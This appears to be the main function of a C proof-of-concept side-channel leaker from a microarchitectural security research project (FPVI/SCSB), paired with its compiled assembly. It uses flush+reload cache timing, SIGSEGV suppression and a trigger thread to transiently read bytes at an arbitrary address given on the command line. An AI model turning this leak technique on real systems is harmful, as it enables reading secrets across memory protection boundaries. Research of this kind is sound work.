// File: /workspace/github_c_makefile_star2_O3/vusec[P]fpvi-scsb/leakers/mo/leak.c
// Function: main
int main(int argc, char **argv)
{
    uint64_t leak_addr;
    uint32_t leak_length;
    uint8_t *leak_ptr;
    pthread_t tid;

    if (argc > 2)
    {
        sscanf(argv[1], "0x%lx", &leak_addr);
        sscanf(argv[2], "%d", &leak_length);
        leak_ptr = (uint8_t *) leak_addr;
    }
    else
    {
        leak_ptr = "This is a test to verify that it leaks";
        leak_length = strlen(leak_ptr);
    }

    /* Setup */
    assert(signal(SIGSEGV, segfault_handler) != SIG_ERR);
    __attribute__((aligned(4096))) size_t results[LEAK_SIZE] = {0};
    unsigned char *reload_buf   = (unsigned char *) mmap(NULL, LEAK_SIZE*STRIDE, PROT_READ | PROT_WRITE,
            MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE | MAP_HUGETLB, -1, 0);
    assert(reload_buf != MAP_FAILED);
    set_cpu(EXECUTER_CORE);
    tid = create_thread(TRIGGER_CORE, mo_trigger_loop, NULL);
    usleep(2000);

    for(int i=0; i<leak_length; i++)
    {
        memset(results, 0, sizeof(results));

        for(int j=0; j<ITER; j++)
        {
            flush(reload_buf);
            if (!setjmp(buf))
            {
                mo_leak(reload_buf, leak_ptr+i);
            }
            reload(reload_buf, results);
        }

        printf("0x%016lx :\n", (uint64_t)(leak_ptr+i));
        print_results(results, ITER/10);
    }

    cancel_thread(tid);

    printf("Number of suppressed SIGSEGV: %d\n", sigsegvs);

    return 0;    
}

// Assembly:
pushq %rbp
movq %rsp, %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
andq $-0x1000, %rsp          # imm = 0xF000
subq $0x2000, %rsp           # imm = 0x2000
cmpl $0x3, %edi
jl 0x4013b3
movq %rsi, %rbx
movq 0x8(%rsi), %rdi
leaq 0xc99(%rip), %rsi       # 0x402017
xorl %eax, %eax
movl %eax, %r14d
leaq 0xff8(%rsp), %r15
movq %r15, %rdx
callq 0x401110
movq 0x10(%rbx), %rdi
leaq 0xc7f(%rip), %rsi       # 0x40201d
leaq 0xfdc(%rsp), %rdx
movl %r14d, %eax
callq 0x401110
movq (%r15), %rax
jmp 0x4013c5
movl $0x26, 0xfdc(%rsp)
leaq 0xc5b(%rip), %rax       # 0x402020
movq %rax, 0xff0(%rsp)
leaq 0x22a(%rip), %rsi       # 0x4015fe
movl $0xb, %edi
callq 0x4010e0
cmpq $-0x1, %rax
je 0x4015c0
xorl %eax, %eax
movl %eax, %edi
movl $0x40000, %esi          # imm = 0x40000
movl $0x3, %edx
movl $0x48022, %ecx          # imm = 0x48022
movl $0xffffffff, %r8d       # imm = 0xFFFFFFFF
movq %rdi, %r9
callq 0x401070
cmpq $-0x1, %rax
je 0x4015df
movq %rax, %rbx
xorl %r14d, %r14d
movl %r14d, %edi
callq 0x401950
leaq -0xe3(%rip), %rsi       # 0x401345
movl %r14d, %edx
movl $0x1, %edi
callq 0x4019f7
movq %rax, 0xfe8(%rsp)
movl $0x7d0, %edi            # imm = 0x7D0
callq 0x4011a0
cmpl $0x0, 0xfdc(%rsp)
je 0x40158c
movq %rbx, %r15
xorl %r12d, %r12d
movl %r12d, %eax
leaq 0x1000(%rsp), %r14
movb %r12b, 0xfdb(%rsp)
movq %rax, %r13
movq %r14, %rdi
movl %r12d, %esi
movl $0x800, %edx            # imm = 0x800
callq 0x4010a0
movq 0xff0(%rsp), %rax
movq %r13, 0xfe0(%rsp)
addq %rax, %r13
movl %r12d, %r14d
movl %r12d, %eax
leaq (%rbx,%rax), %rcx
clflush (%rcx)
movq %rax, %rcx
addq $0x400, %rcx            # imm = 0x400
movq %rcx, %rax
cmpq $0x40000, %rcx          # imm = 0x40000
jne 0x40149a
mfence
leaq 0x305f(%rip), %rdi      # 0x404520
callq 0x4010d0
testl %eax, %eax
jne 0x4014d5
movq %r15, %rdi
movq %r13, %rsi
callq 0x401689
mfence
movl $0xd, %esi
movzbl %sil, %eax
movl %eax, %edi
movl %edi, %eax
shll $0xa, %eax
movl %eax, %r8d
rdtscp
shlq $0x20, %rdx
movq %rdx, %r9
orq %rax, %r9
movb (%r15,%r8), %al
rdtscp
shlq $0x20, %rdx
orq %rax, %rdx
subq %r9, %rdx
cmpq $0x9f, %rdx
ja 0x40151a
incq 0x1000(%rsp,%rdi,8)
movq %rsi, %rax
addq $0xa7, %rax
movq %rax, %rsi
cmpq $0xa70d, %rax           # imm = 0xA70D
jne 0x4014dd
movl %r14d, %eax
incl %eax
movl %eax, %r14d
cmpl $0x3e8, %eax            # imm = 0x3E8
jne 0x401497
leaq 0xb63(%rip), %rdi       # 0x4020ab
movq %r13, %rsi
movb 0xfdb(%rsp), %al
callq 0x401080
leaq 0x1000(%rsp), %r14
movq %r14, %rdi
movl $0x64, %esi
callq 0x4012d8
movq 0xfe0(%rsp), %rcx
incq %rcx
movl 0xfdc(%rsp), %eax
movl %eax, %edx
movq %rcx, %rax
cmpq %rdx, %rcx
jb 0x40146e
movq 0xfe8(%rsp), %rdi
callq 0x401ad0
movl 0x3049(%rip), %esi      # 0x4045e8
leaq 0xb11(%rip), %rdi       # 0x4020b7
xorl %ebx, %ebx
movl %ebx, %eax
callq 0x401080
movl %ebx, %eax
leaq -0x28(%rbp), %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
leaq 0xa80(%rip), %rdi       # 0x402047
leaq 0xaa6(%rip), %rsi       # 0x402074
leaq 0xaa6(%rip), %rcx       # 0x40207b
movl $0x49, %edx
callq 0x401090
leaq 0xaac(%rip), %rdi       # 0x402092
leaq 0xa87(%rip), %rsi       # 0x402074
leaq 0xa87(%rip), %rcx       # 0x40207b
movl $0x4d, %edx
callq 0x401090